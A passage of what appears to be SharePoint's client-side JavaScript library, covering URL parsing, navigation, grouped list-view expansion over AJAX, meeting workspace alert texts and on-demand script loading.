for(var i=0; objChildren.length > i; i++)
{
SetControlDisabledStatusRecursively(objChildren.item(i), disabledStatus);
}
}
function SetChildControlsDisabledStatus(obj, disabledStatus)
{ULSxSy:;
var objChildren=obj.childNodes;
for(var i=0; i < objChildren.length; i++)
{
SetControlDisabledStatusRecursively(objChildren.item(i), disabledStatus);
}
}
var g_PNGImageIds;
var g_PNGImageSources;
function displayPNGImage(id,src,width,height,alt)
{ULSxSy:;
if (g_PNGImageIds==null)
g_PNGImageIds=new Array();
if (g_PNGImageSources==null)
g_PNGImageSources=new Array();
var style=null;
document.write("<IMG id='"+id+"' ");
if (width && width > 0)
document.write("width='"+width+"' ");
if (height && height > 0)
document.write("height='"+height+"' ");
document.write("alt='"+alt+"' ");
if (style)
document.write("style='"+style+"' ");
document.write(" src='"+src+"' />");
g_PNGImageIds.push(id);
g_PNGImageSources.push(src);
}
function ProcessPNGImages()
{ULSxSy:;
var useFilter=browseris.ie &&
browseris.ie55up &&
browseris.verIEFull < 7.0;
if (g_PNGImageIds !=null && useFilter)
{
for (var i=0; i < g_PNGImageIds.length; i++)
{
var img=document.getElementById(g_PNGImageIds[i]);
if (img !=null && g_PNGImageSources[i] !=null)
{
img.style.filter="progid:DXImageTransform.Microsoft.AlphaImageLoader(src="+g_PNGImageSources[i]+"),sizingMethod=scale);";
img.src="images/blank.gif";
}
}
}
}
var CTXTYPE_EDITMENU=0;
var CTXTYPE_VIEWSELECTOR=1;
function ContextInfo()
{ULSxSy:;
this.listBaseType=null;
this.listTemplate=null;
this.listName=null;
this.view=null;
this.listUrlDir=null;
this.HttpPath=null;
this.HttpRoot=null;
this.serverUrl=null;
this.imagesPath=null;
this.PortalUrl=null;
this.RecycleBinEnabled=null;
this.isWebEditorPreview=null;
this.rootFolderForDisplay=null;
this.isPortalTemplate=null;
this.isModerated=false;
this.recursiveView=false;
this.displayFormUrl=null;
this.editFormUrl=null;
this.newFormUrl=null;
this.ctxId=null;
this.CurrentUserId=null;
this.isForceCheckout=false;
this.EnableMinorVersions=false;
this.ModerationStatus=0;
this.verEnabled=0;
this.isVersions=0;
this.WorkflowsAssociated=false;
this.ExternalDataList=false;
this.HasRelatedCascadeLists=0;
this.CascadeDeleteWarningMessage=null;
this.ContentTypesEnabled=false;
this.SendToLocationName="";
this.SendToLocationUrl="";
this.StateInitDone=false;
this.TotalListItems=null;
this.CurrentSelectedItems=null;
this.LastSelectableRowIdx=null;
this.SelectAllCbx=null;
this.TableCbxFocusHandler=null;
this.TableMouseoverHandler=null;
}
function ctxInitItemState(ctxCur)
{ULSxSy:;
ctxCur.TotalListItems=0;
ctxCur.CurrentSelectedItems=0;
ctxCur.LastSelectableRowIdx=0;
ctxCur.StateInitDone=true;
}
function STSPageUrlValidation(url)
{ULSxSy:;
return PageUrlValidation(url);
}
function GetSource(defaultSource)
{ULSxSy:;
var str=DeferCall('GetSource2', defaultSource, null);
if (str==null)
{
var source=GetUrlKeyValue("Source");
if (source=="")
{
if (defaultSource !=null && defaultSource !="")
source=defaultSource;
else
source=window.location.href;
}
str=source;
}
return escapeProperly(STSPageUrlValidation(str));
}
function GetUrlKeyValue(keyName, bNoDecode, url)
{ULSxSy:;
var keyValue="";
if (url==null)
url=window.location.href+"";
var ndx;
ndx=url.indexOf("#");
if (ndx >=0)
{
url=url.substr(0, ndx);
}
ndx=url.indexOf("&"+keyName+"=");
if (ndx==-1)
ndx=url.indexOf("?"+keyName+"=");
if (ndx !=-1)
{
ndx2=url.indexOf("&", ndx+1);
if (ndx2==-1)
ndx2=url.length;
keyValue=url.substring(ndx+keyName.length+2, ndx2);
}
if (bNoDecode)
return keyValue;
else
return unescapeProperlyInternal(keyValue);
}
function LoginAsAnother(url, bUseSource)
{ULSxSy:;
document.cookie="loginAsDifferentAttemptCount=0";
if (bUseSource=="1")
{
GoToPage(url);
}
else
{
var ch=url.indexOf("?") >=0 ? "&" : "?";
url+=ch+"Source="+escapeProperly(window.location.href);
STSNavigate(url);
}
}
function isPortalTemplatePage(Url)
{ULSxSy:;
if (GetUrlKeyValue("PortalTemplate")=="1" ||
GetUrlKeyValue("PortalTemplate", Url)=="1" ||
(currentCtx !=null && currentCtx.isPortalTemplate))
return true;
else
return false;
}
function CLVPFromEvent(evt)
{ULSxSy:;
return DeferCall('CLVPFromEventReal', evt);
}
function STSNavigateToView(evt, url)
{ULSxSy:;
STSNavigate(url);
}
function STSNavigate2(evt, url)
{ULSxSy:;
STSNavigate(url);
}
function STSNavigate(Url)
{ULSxSy:;
if (window.location.search.indexOf("IsDlg=1") !=-1)
{
if (Url.indexOf("?") !=-1)
{
if (Url.match("&$") !="&")
{
Url=Url+"&IsDlg=1";
}
else
{
Url=Url+"IsDlg=1";
}
}
else
{
Url=Url+"?IsDlg=1";
}
}
if (isPortalTemplatePage(Url))
window.top.location=STSPageUrlValidation(Url);
else
window.location=STSPageUrlValidation(Url);
}
function GoToPage(url)
{ULSxSy:;
var ch=url.indexOf("?") >=0 ? "&" : "?";
if (GetUrlKeyValue("Source", true, url).length==0)
{
var srcUrl=GetSource();
if (srcUrl !=null && srcUrl !="")
{
if((url.length+srcUrl.length) <=1950)
{
url+=ch+"Source="+srcUrl;
}
}
}
STSNavigate(url);
}
function TrimSpaces( str )
{ULSxSy:;
var start;
var end;
str=str.toString();
var len=str.length;
for (start=0; start < len; start++)
{
if (str.charAt(start) !=' ')
break;
}
if (start==len)
return "";
for (end=len - 1; end > start; end --)
{
if (str.charAt(end) !=' ')
break;
}
end++;
return str.substring(start, end);
}
function TrimWhiteSpaces( str )
{ULSxSy:;
var start;
var end;
str=str.toString();
var len=str.length;
for (start=0; start < len; start++)
{
ch=str.charAt(start);
if (ch!=' ' && ch!='\t' && ch!='\n' && ch!='\r' && ch!='\f')
break;
}
if (start==len)
return "";
for (end=len - 1; end > start; end --)
{
ch=str.charAt(end);
if (ch!=' ' && ch!='\t' && ch!='\n' && ch!='\r' && ch!='\f')
break;
}
end++;
return str.substring(start, end);
}
function GetAttributeFromItemTable(itemTable, strAttributeName, strAttributeOldName)
{ULSxSy:;
var attrValue=itemTable !=null ? itemTable.getAttribute(strAttributeName) : null;
if (attrValue==null && itemTable !=null && strAttributeOldName!=null)
attrValue=itemTable.getAttribute(strAttributeOldName);
return attrValue;
}
function ShowMtgNavigatorPane()
{ULSxSy:;
document.getElementById("MeetingNavigatorPane").style.display="block";
}
function HideMtgNavigatorPane()
{ULSxSy:;
document.getElementById("MeetingNavigatorPane").style.display="none";
}
function HideMtgDesc()
{ULSxSy:;
document.getElementById("MeetingDescription").style.display="none";
}
function GetMultipleUploadEnabled()
{ULSxSy:;
try
{
if (browseris.ie5up && !browseris.mac && (new ActiveXObject('STSUpld.UploadCtl')))
return true;
}
catch(e)
{
}
return false;
}
function SetUploadPageTitle()
{ULSxSy:;
if (GetUrlKeyValue("Type")==1)
{
document.title=L_NewFormClickOnce1_Text;
if (browseris.ie || browseris.nav6up)
{
var titleElt=document.getElementById("onetidTextTitle");
if (titleElt !=null)
titleElt.innerHTML=L_NewFormClickOnce1_Text;
}
}
}
function GetSelectedValue (frmElem) {ULSxSy:;
if (frmElem && (frmElem.selectedIndex >-1)) {
return frmElem.options[frmElem.selectedIndex].value
}
else
return "";
}
function GetSelectedText(frmElem) {ULSxSy:;
if (frmElem && (frmElem.selectedIndex >-1)) {
return frmElem.options[frmElem.selectedIndex].text
}
else
return "";
}
function MtgShowTimeZone()
{ULSxSy:;
if (GetCookie("MtgTimeZone")=="1")
{
MtgToggleTimeZone();
}
}
function FormatDate(sDate, sTime, eDate, eTime)
{ULSxSy:;
var L_Date_Text="<b>Date:</b>";
var L_Time_Text="<b>Time:</b>";
var L_DateSeparator=" - ";
if(browseris.win32 && sDate==eDate)
L_DateSeparator=" -\u200e ";
if (sDate==eDate)
{
document.write(L_Date_Text+" "+sDate);
if (sTime !=eTime)
document.write(" "+L_Time_Text+" "+sTime+L_DateSeparator+eTime);
else
document.write(" "+L_Time_Text+" "+sTime);
}
else
{
document.write(L_Date_Text+" "+sDate+" ("+sTime+")"+L_DateSeparator+eDate+" ("+eTime+")");
}
}
function GetAlertText(isDetached)
{ULSxSy:;
var L_DETACHEDSINGLEEXCEPT_Text="This meeting date is no longer associated with a meeting in your calendar and scheduling program. Either this meeting date was canceled, or the link to the workspace was removed from the scheduled meeting.";
var L_DETACHEDCANCELLEDEXCEPT_Text="This meeting date was canceled from your calendar and scheduling program. To specify what you want to do with the associated information in the workspace, do the following: In the Meeting Series pane, point to the meeting date, and in the drop-down list, click Keep, Delete, or Move.";
var L_DETACHEDUNLINKEDSINGLE_Text="This meeting date is no longer linked to the associated meeting in your calendar and scheduling program. To specify what you want to do with the information in the workspace, do the following: In the Meeting Series pane, point to the meeting date, and in the drop-down list, click Keep, Delete, or Move.";
var L_DETACHEDCANCELLEDSERIES_Text="This meeting series was canceled from your calendar and scheduling program.";
var L_DETACHEDUNLINKEDSERIES_Text="This meeting series is no longer linked to the associated meeting series in your calendar and scheduling program. You can keep or delete the workspace. If you keep the workspace, you will not be able to link it to another scheduled meeting.";
var L_DETACHEDSERIESNOWSINGLE_Text="This meeting was changed in your calendar and scheduling program from a recurring meeting to a nonrecurring meeting. You can keep or delete the workspace. If you keep the workspace, you will not be able to link it to another scheduled meeting.";
var L_DETACHEDSINGLENOWSERIES_Text="This meeting was changed in your calendar and scheduling program from a nonrecurring meeting to a recurring meeting. The current workspace does not support a recurring meeting. In your scheduling program, unlink the meeting from the workspace, and then link the meeting again to a new workspace. The new workspace will automatically support a recurring meeting.";
var L_DETACHEDNONGREGORIANCAL_Text="This meeting was created using a calendar and scheduling program that only supports series updates to the Meeting Workspace. Changes you make to individual occurrences of meetings in that program will not appear in the workspace.";
var L_DETACHEDPASTEXCPMODIFIED_Text="This past meeting was modified or canceled from your calendar and scheduling program. To keep, delete or move this meeting in the workspace, use the drop-down menu next to its date in the Meeting Series pane. To update the scheduling information for this meeting in the workspace, use your scheduling program to update this specific meeting occurrence.";
var howOrphaned=isDetached & (0x10 - 1);
var howDetached=isDetached - howOrphaned;
if (howOrphaned)
{
switch (howOrphaned)
{
case 1: return (g_meetingCount==1) ? L_DETACHEDSINGLEEXCEPT_Text : L_DETACHEDCANCELLEDEXCEPT_Text;
case 2: return L_DETACHEDCANCELLEDSERIES_Text;
case 3: return L_DETACHEDCANCELLEDEXCEPT_Text;
case 4: return (g_meetingCount==1) ? L_DETACHEDSINGLEEXCEPT_Text : L_DETACHEDUNLINKEDSINGLE_Text;
case 5: return L_DETACHEDUNLINKEDSERIES_Text;
case 6: return L_DETACHEDSERIESNOWSINGLE_Text;
case 7: return L_DETACHEDSINGLENOWSERIES_Text;
case 8: return L_DETACHEDPASTEXCPMODIFIED_Text;
}
}
else if (howDetached)
{
switch (howDetached)
{
case 16: return L_DETACHEDNONGREGORIANCAL_Text;
}
}
return null;
}
function retrieveCurrentThemeLink()
{ULSxSy:;
var cssLink;
var links=document.getElementsByTagName("link");
for(var i=0; i<links.length; i++)
{
if((links[i].type=="text/css") && (links[i].id=="onetidThemeCSS"))
cssLink=links[i];
}
if(cssLink)
{
var re=/(\.\.\/)+/;
var relativeURL=cssLink.href;
var newURL=relativeURL.replace(re, "/");
return newURL;
}
}
function StBuildParam(stPattern)
{ULSxSy:;
var re;
var i;
for (i=1; i < StBuildParam.arguments.length; i++)
{
re=new RegExp("\\^"+i);
stPattern=stPattern.replace(re, StBuildParam.arguments[i]);
}
return stPattern;
}
JSRequest={
QueryString : null,
FileName : null,
PathName : null,
EnsureSetup : function()
{ULSxSy:;
if (JSRequest.QueryString !=null) return;
JSRequest.QueryString=new Array();
var queryString=window.location.search.substring(1);
var pairs=queryString.split("&");
for (var i=0;i<pairs.length;i++)
{
var p=pairs[i].indexOf("=");
if (p > -1)
{
var key=pairs[i].substring(0,p);
var value=pairs[i].substring(p+1);
JSRequest.QueryString[key]=value;
}
}
var path=JSRequest.PathName=window.location.pathname;
var p=path.lastIndexOf("/");
if (p > -1)
{
JSRequest.FileName=path.substring(p+1);
}
else
{
JSRequest.PageName=path;
}
}
};
var ExpGroupWPListName="WSS_ExpGroupWPList";
var ExpGroupCookiePrefix="WSS_ExpGroup_";
var ExpGroupCookieDelimiter="&";
var ExpGroupMaxWP=11;
var ExpGroupMaxCookieLength=3960;
var g_ExpGroupQueue=new Array();
var g_ExpGroupInProgress=false;
var g_ExpInitializing=false;
var g_ExpGroupTable=new Array();
var g_ExpGroupNeedsState=false;
var g_ExpGroupParseStage=false;
function ExpCollGroup(groupName, imgName, evt, noAjax)
{ULSxSy:;
if (evt !=null)
g_ExpGroupNeedsState=true;
if (document.getElementById("titl"+groupName)==null)
return;
viewTable=document.getElementById("titl"+groupName).parentNode;
if (viewTable==null)
return;
var ctxNum=groupName.substr(0, groupName.indexOf("-"));
var ctxCur=window["ctx"+ctxNum];
if (!ctxCur)
return;
if (!ctxCur.StateInitDone)
ctxInitItemState(ctxCur);
if (ctxCur.SelectAllCbx==null)
ctxCur.SelectAllCbx=getSelectAllCbxFromTable(viewTable);
tbodyTags=viewTable.getElementsByTagName("TBODY");
numElts=tbodyTags.length;
len=groupName.length;
img=document.getElementById(imgName);
if (img==null)
return;
srcPath=img.src;
index=srcPath.lastIndexOf("/");
imgName=srcPath.slice(index+1);
var fOpen=false;
if (imgName=='plus.gif' || g_ExpInitializing)
{
fOpen=true;
displayStr="";
img.src='/_layouts/images/minus.gif';
}
else
{
fOpen=false;
displayStr="none";
img.src='/_layouts/images/plus.gif';
}
for (var i=0;i<numElts;i++)
{
var childObj=tbodyTags[i];
if ( (childObj.id !=null)
&& (childObj.id.length > len+4)
&& (groupName==childObj.id.slice(4).substr(0,len)) )
{
if (fOpen)
{
index=childObj.id.indexOf("_", len+4);
if (index!=-1)
{
index=childObj.id.indexOf("_", index+1);
if (index!=-1)
continue;
}
}
var previousDisplay=childObj.style.display;
childObj.style.display=displayStr;
var itemCount=0;
if (childObj.getAttribute("selectableRows"))
itemCount=Number(childObj.getAttribute("selectableRows"));
if (typeof(FV4UI) !="undefined" && FV4UI() && itemCount)
{
if (!fOpen)
{
if (previousDisplay !="none")
ctxCur.TotalListItems -=itemCount;
DeselectCollapsedGroup(ctxCur, childObj);
UpdateSelectAllCbx(ctxCur, true);
}
else
{
ctxCur.TotalListItems+=itemCount;
UpdateSelectAllCbx(ctxCur, false);
}
}
if (fOpen && childObj.id.substr(0,4)=="titl")
{
imgObj=document.getElementById("img_"+childObj.id.slice(4));
imgObj.src='/_layouts/images/plus.gif';
}
var groupID="tbod"+groupName;
if (childObj.id.substr(0, groupID.length)==groupID)
{
if (noAjax)
{
for (var j=0; j < childObj.childNodes.length; j++)
{
var child=childObj.childNodes[j];
child.style.display=displayStr;
}
}
if (childObj.childNodes.length==0)
{
var nextTBody=childObj.nextSibling;
if (nextTBody !=null && nextTBody.tagName=="TBODY" && nextTBody.id=="")
{
for (var j=0; j < nextTBody.childNodes.length; j++)
{
var child=nextTBody.childNodes[j];
child.style.display=displayStr;
if (typeof(FV4UI) !="undefined" && FV4UI())
{
HandleSingleGroupByRow(ctxCur, child, fOpen);
UpdateSelectAllCbx(ctxCur, true);
}
}
}
}
}
}
}
EnsureScript("core.js", TypeofFullName('UpdateCtxLastSelectableRow'),
function()
{ULSxSy:;
if (typeof(FV4UI) !="undefined" && FV4UI())
UpdateCtxLastSelectableRow(ctxCur, viewTable);
});
if (!noAjax && !g_ExpGroupParseStage)
{
if (g_ExpGroupNeedsState && ExpGroupFetchWebPartID(groupName) !=null)
{
if (fOpen)
{
AddGroupToCookie(groupName);
}
else
{
RemoveGroupFromCookie(groupName);
}
}
if (fOpen)
{
tbody=document.getElementById("tbod"+groupName+"_");
if (tbody !=null)
{
isLoaded=tbody.getAttribute("isLoaded");
if (isLoaded=="false")
{
ExpGroupFetchData(groupName, evt);
}
}
}
}
}
function ExpGroupFetchData(groupName, evt)
{ULSxSy:;
var loadString="<tr><td colspan=\"100\" class=\"ms-gbload\">"+L_Loading_Text+"</td></tr>";
ExpGroupRenderData(loadString, groupName, "false");
if (!g_ExpGroupInProgress)
{
var groupString=ExpGroupFetchGroupString(groupName);
if (groupString==null)
{
alert("Error in dynamic fetch: group string cannot be located.");
var loadString="<tr><td></td><td class=\"ms-gbload\">"+L_Loading_Error_Text+"</td></tr>";
ExpGroupRenderData(loadString, groupName, "false");
if (g_ExpGroupQueue.length > 0)
{
ExpGroupFetchData(g_ExpGroupQueue.shift());
}
return;
}
if (typeof(InitAllClvps)=="undefined" && evt !=null)
g_ExpInitializing=true;
else
{
g_ExpInitializing=false;
g_ExpGroupInProgress=true;
}
if (!ExpGroupCallServer(groupString, groupName, evt))
{
if (g_ExpGroupQueue.length > 0 && evt==null)
{
ExpGroupFetchData(g_ExpGroupQueue.shift());
}
}
}
else
{
g_ExpGroupQueue.push(groupName);
}
}
function ExpGroupCallServer(groupString, groupName, evt)
{ULSxSy:;
if (evt !=null)
{
if (evt=="PageLoad")
{
var obj=new Object();
obj.fakeEvent=true;
{ var defd; try { defd=typeof(inplview.ExpGroup); } catch (e) { defd='undefined'; } if (defd !='undefined') { inplview.ExpGroup(obj, groupName); } else { var str="inplview.ExpGroup"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; inplview.ExpGroup(obj, groupName); }; EnsureScript(rg[0], defd, fnd); } }};
}
else
ExpGroup(evt, groupName);
}
else
{
var viewCounter=groupName.substring(0, groupName.indexOf("-"));
var ctx=window["ctx"+viewCounter];
var webPartID=ExpGroupFetchWebPartID(groupName);
if (webPartID !=null)
{
var functionName="ExpGroupCallServer"+webPartID;
if (ctx !=null && ctx.clvp !=null)
{
var strFilter=ctx.clvp.FilterString();
if (strFilter !=null)
{
groupString+="|"+strFilter;
}
}
var functionCall=functionName+"('"+groupString+"','"+groupName+"')";
eval(functionCall);
}
}
}
function ExpGroup(evt, groupName)
{ULSxSy:;
if (typeof(InitAllClvps) !='undefined')
{
{ var defd; try { defd=typeof(inplview.ExpGroup); } catch (e) { defd='undefined'; } if (defd !='undefined') { inplview.ExpGroup(evt, groupName); } else { var str="inplview.ExpGroup"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; inplview.ExpGroup(evt, groupName); }; EnsureScript(rg[0], defd, fnd); } }};
}
else
{
SodDispatchEvent("inplview", typeof(InitAllClvps), evt);
}
}
function DoPagingCallback(webPartID, pagingParam)
{ULSxSy:;
if (webPartID !=null)
{
var functionName="DoPagingCallback"+webPartID;
var functionCall=functionName+"('"+pagingParam+"')";
eval(functionCall);
}
}
function ExpGroupReceiveData(htmlToRender, groupName)
{ULSxSy:;
var ctxId="ctx"+groupName.substring(0, groupName.indexOf("-"));
var indexBeginCTXName=htmlToRender.indexOf("CTXName=\"");
if (indexBeginCTXName !=-1)
{
if (ctxId !="ctx1")
{
htmlToRender=htmlToRender.replace(/ CTXName=\"ctx1\" /g, " CTXName=\""+ctxId+"\" ");
}
}
var needOuterWrap=false;
if (htmlToRender.length < 4)
{
needOuterWrap=true;
}
else if (htmlToRender.substring(0,3) !="<tr")
{
needOuterWrap=true;
}
if (needOuterWrap)
{
htmlToRender="<TR><TD>"+htmlToRender+"</TD></TR>";
}
ExpGroupRenderData(htmlToRender, groupName, "true");
ProcessImn();
g_ExpGroupInProgress=false;
if (g_ExpGroupQueue.length > 0)
{
ExpGroupFetchData(g_ExpGroupQueue.shift());
}
}
function ExpGroupRenderData(htmlToRender, groupName, isLoaded)
{ULSxSy:;
var tbody=document.getElementById("tbod"+groupName+"_");
var wrapDiv=document.createElement("DIV");
var rg=groupName.split("-");
wrapDiv.innerHTML="<TABLE><TBODY id=\"tbod"+ groupName+"_\" isLoaded=\""+isLoaded+ "\">"+htmlToRender+"</TBODY></TABLE>";
tbody.parentNode.replaceChild(wrapDiv.firstChild.firstChild,tbody);
}
function ExpGroupFetchGroupString(groupName)
{ULSxSy:;
titlTbody=document.getElementById("titl"+groupName);
if (titlTbody==null)
{
return null;
}
else
{
var groupString=titlTbody.getAttribute("groupString");
return groupString;
}
}
function ExpGroupFetchWebPartID(groupName)
{ULSxSy:;
var viewCounter=groupName.substring(0, groupName.indexOf("-"));
var lookupEntry=document.getElementById("GroupByWebPartID"+viewCounter);
if (lookupEntry==null)
return null;
return lookupEntry.getAttribute("webPartID");
}
function RenderActiveX(str)
{ULSxSy:;
document.write(str);
}
function OnItem(elm)
{ULSxSy:;
DeferCall('OnItemDeferCall', elm);
}
function OnChildItem(elm)
{ULSxSy:;
var i;
for (i=0; i < elm.childNodes.length; i++)
{
var child=elm.childNodes[i];
if (child.nodeType==1 && child.tagName=="TABLE" && child.getAttribute("NameOrTitle"))
break;
if (child.nodeType==1 && child.tagName=="DIV" && child.style.display !="none" && child.style.visibility !="hidden")
{
OnItem(child);
break;
}
}
}
function OnLink(elm)
{ULSxSy:;
DeferCall('OnLinkDeferCall', elm);
}
function MMU_PopMenuIfShowing(menuElement)
{ULSxSy:;
DeferCall('MMU_PopMenuIfShowingDeferCall', menuElement);
}
function OnMouseOverFilter(elm)
{ULSxSy:;
DeferCall('OnMouseOverFilterDeferCall', elm);
}
function OnChildColumn(elm)
{ULSxSy:;
var i;
for (i=0; i < elm.childNodes.length; i++)
{
var child=elm.childNodes[i];
if (child.nodeType==1 && child.tagName=="DIV" && child.getAttribute("CtxNum") !=null)
{
OnMouseOverFilter(child);
break;
}
}
}
function MMU_EcbTableMouseOverOut(ecbTable, fMouseOver)
{ULSxSy:;
DeferCall('MMU_EcbTableMouseOverOutDeferCall', ecbTable, fMouseOver);
}
function OnMouseOverAdHocFilter(elm, fieldStr)
{ULSxSy:;
DeferCall('OnMouseOverAdHocFilterDeferCall', elm, fieldStr);
}
function MMU_EcbLinkOnFocusBlur(menu, ecbLink, fOnFocus)
{ULSxSy:;
DeferCall('MMU_EcbLinkOnFocusBlurDeferCall', menu, ecbLink, fOnFocus);
}
function GetElementByClassName(elem, classname) {ULSxSy:;
if(elem.className) {
if(elem.className.indexOf(classname) > -1)
return elem;
}
var temp;
for(var i=0; i<elem.childNodes.length; i++) {
temp=GetElementByClassName(elem.childNodes[i], classname);
if(temp !=null)
return temp;
}
return null;
}
function AddWhiteBG() {ULSxSy:;
if(searcharea.className.indexOf(" "+whitebgclass)==-1) {
var cn=searcharea.className.trim()+" "+whitebgclass;
cn=cn.trim();
searcharea.className=cn;
}
}
function RemoveWhiteBG() {ULSxSy:;
if(locked)
return;
searcharea.className=searcharea.className.replace(" "+whitebgclass, "");
}
var locked=false;
function LockBG() {ULSxSy:;
locked=!locked;
if(locked)
AddWhiteBG();
else
RemoveWhiteBG();
}
var searcharea;
var searchbox;
var searchimage;
var whitebgclass;
function InitSearchBoxStyleEvents(sarea, sbox, simage_class, wbgclass)
{ULSxSy:;
searcharea=document.getElementById(sarea);
searchbox=document.getElementById(sbox);
searchimage=GetElementByClassName(searcharea, simage_class);
whitebgclass=wbgclass;
if (searchbox==null || searchimage==null)
return;
searchbox.onfocus=LockBG;
searchbox.onmouseover=AddWhiteBG;
searchbox.onblur=LockBG;
searchbox.onmouseout=RemoveWhiteBG;
searchimage.onmouseover=AddWhiteBG;
searchimage.onmouseout=RemoveWhiteBG;
}
function IsFullNameDefined(fullName)
{ULSxSy:;
if (!fullName)
{
return false;
}
var names=fullName.split(".");
var len=names.length;
var obj=window;
for (var i=0; i < len; i++)
{
obj=obj[names[i]];
if (typeof(obj)=="undefined")
{
return false;
}
}
return true;
}
function TypeofFullName(fullName)
{ULSxSy:;
if (!fullName)
{
return "undefined";
}
var names=fullName.split(".");
var len=names.length;
var obj=window;
for (var i=0; i < len; i++)
{
obj=obj[names[i]];
if (typeof(obj)=="undefined")
{
return "undefined";
}
}
return typeof(obj);
}
var _v_dictSod=[];
var Sods={
missing: 1,
loading: 2,
pending: 3,
loaded: 4
};
var _v_qsod=[];
var _v_sodctx={"document" : document, "window" : window};
function Sod(url)
{ULSxSy:;
this.url=url;
this.loaded=false;
this.depkeys=null;
this.state=Sods.missing;
this.qfn=null;
}
function RegisterSod(key, url)
{ULSxSy:;
key=NormalizeSodKey(key);
var sod=new Sod(url);
_v_dictSod[key]=sod;
}
function RegisterSodDep(key, dep)
{ULSxSy:;
key=NormalizeSodKey(key);
var sod=_v_dictSod[key];
if (sod==null)
return;
if (sod.depkeys==null)
sod.depkeys=[];
sod.depkeys.push(dep);
}
function LoadSodByKey(key, fn)
{ULSxSy:;
var sod=_v_dictSod[key];
if (fn !=null && sod !=null)
{
if (sod.qfn==null)
sod.qfn=[];
sod.qfn.push(fn);
}
return LoadSod(sod);
}
function LoadSod(sod)
{ULSxSy:;
if (sod==null)
return Sods.missing;
if (sod.state==Sods.loaded || sod.state==Sods.loading)
{
return sod.state;
}
sod.state=Sods.pending;
var mll=[];
if (sod.depkeys !=null)
{
var i;
var fDepLoaded=true;
var am=sod.depkeys.length;
for (i=0; i < am; i++)
{
var sodDep=_v_dictSod[sod.depkeys[i]];
if (sodDep==null)
continue;
if (sodDep.state !=Sods.loaded)
{
fDepLoaded=false;
mll.push(sodDep);
}
}
if (!fDepLoaded)
{
_v_qsod.push(sod);
am=mll.length;
for (i=0; i < am; i++)
{
var sodDep=mll[i];
if (sodDep.state !=Sods.loaded && sodDep.state !=Sods.loading)
LoadSod(sodDep);
}
return sod.state;
}
}
if (sod.state==Sods.loaded || sod.state==Sods.loading)
{
return sod.state;
}
sod.state=Sods.loading;
var s=document.createElement("SCRIPT");
s.type="text/javascript";
s.src=sod.url;
var fn=GetOnLoad(sod, s);
if (browseris.ie)
s.onreadystatechange=fn;
else
s.onload=fn;
document.getElementsByTagName("HEAD")[0].appendChild(s);
return sod.state;
}
function GetOnLoad(sod, s)
{ULSxSy:;
var fn=function ()
{ULSxSy:;
var floaded=false;
if (typeof(s.readyState) !='undefined')
floaded=s.readyState=="complete" || s.readyState=="loaded";
else
floaded=true;
if (floaded)
{
s.onreadystatechange=null;
s.onload=null;
var sUrl=sod.url;
var index=sUrl.lastIndexOf("/");
if(index > -1)
sUrl=sUrl.substr(index+1);
index=sUrl.indexOf("?");
if (index > -1)
sUrl=sUrl.substr(0, index);
sUrl=sUrl.toLowerCase();
sUrl=sUrl.replace(".debug.js", ".js");
var fn2=function()
{ULSxSy:;
sod.state=Sods.loaded;
while (_v_qsod.length > 0)
{
var sodParent=_v_qsod.pop();
if (sodParent.state==Sods.pending)
{
LoadSod(sodParent);
break;
}
}
if (sod.qfn !=null)
{
while (sod.qfn.length > 0)
{
var fn3=sod.qfn.shift();
fn3();
}
}
};
if (sUrl.indexOf(".js") > 0)
{
ExecuteOrDelayUntilScriptLoaded(fn2, sUrl);
}
else
{
fn2();
}
}
};
return fn;
}
function EnsureScript(key, typ, fn)
{ULSxSy:;
if (typ !='undefined')
{
if (fn !=null)
fn();
return true;
}
key=NormalizeSodKey(key);
LoadSodByKey(key, fn);
return false;
}
function EnsureScriptFunc(key, typ, fn)
{ULSxSy:;
EnsureScript(key, TypeofFullName(typ), fn);
}
function EnsureScriptParams()
{ULSxSy:;
if (arguments.length < 2)
{
return;
}
var args=arguments;
var key=Array.prototype.shift.call(args);
var func=Array.prototype.shift.call(args);
var fn=function() {ULSxSy:;
var fParts=func.split(".");
var funcRef=window;
for (var i=0, len=fParts.length; i<len; i++)
{
funcRef=funcRef[fParts[i]];
}
funcRef.apply(null, args);
}
EnsureScriptFunc(key, func, fn);
}
function NormalizeSodKey(key)
{ULSxSy:;
var lowerCaseKey=key.toLowerCase();
var lckl=lowerCaseKey.length;
if (lckl >=3 && ".js"==lowerCaseKey.substr(lckl - 3))
{
key=lowerCaseKey;
}
else if (lowerCaseKey.indexOf(".resx") > 0)
{
var index=lowerCaseKey.indexOf(".resx");
key=key.substr(0, index+5).toLowerCase()+key.substr(index+5);
}
return key;
}
function SodCloneEvent(evt)
{ULSxSy:;
var e;
if (browseris.ie)
{
e=document.createEventObject(evt);
}
else
{
e=document.createEvent("MouseEvents");
e.initMouseEvent("click", true, true, window,
0, 0, 0, 0, 0, false, false, false, false, 0, null);
}
return e;
}
function SodDispatchEvent(key, typ, evt)
{ULSxSy:;
var e=SodCloneEvent(evt);
var fn;
if (browseris.ie)
{
fn=function() {ULSxSy:; e.srcElement.fireEvent("onclick", e); };
}
else
{
var t=evt.target;
fn=function () {ULSxSy:; t.dispatchEvent(e); };
}
if (!EnsureScript(key, typ, fn))
{
if (browseris.ie)
evt.cancelBubble=true;
else
evt.stopPropagation();
}
}
function AddTabHeadHandler(tid, fn)
{ULSxSy:;
var li=document.getElementById(tid);
if (li !=null)
{
var a=li.getElementsByTagName('A')[0];
AddEvtHandler(a, 'onclick', fn);
}
}
function LoadWPAdderOnDemand()
{ULSxSy:;
if (typeof(loadWPAdderCallback)=='function')
{
{ var defd; try { defd=typeof(WPAdderClass.load); } catch (e) { defd='undefined'; } if (defd !='undefined') { WPAdderClass.load(loadWPAdderCallback); } else { var str="WPAdderClass.load"; var rg=str.split('.'); if (rg.length > 1) { var fnd=function () {ULSxSy:; WPAdderClass.load(loadWPAdderCallback); }; EnsureScript(rg[0], defd, fnd); } }};
}
}
function showSaveConflictDialog(lastModifiedUserId, continueStatusHtml, mergeChangesUrl, mergeChangesStatusHtml, discardScript, overwriteScript)
{ULSxSy:;
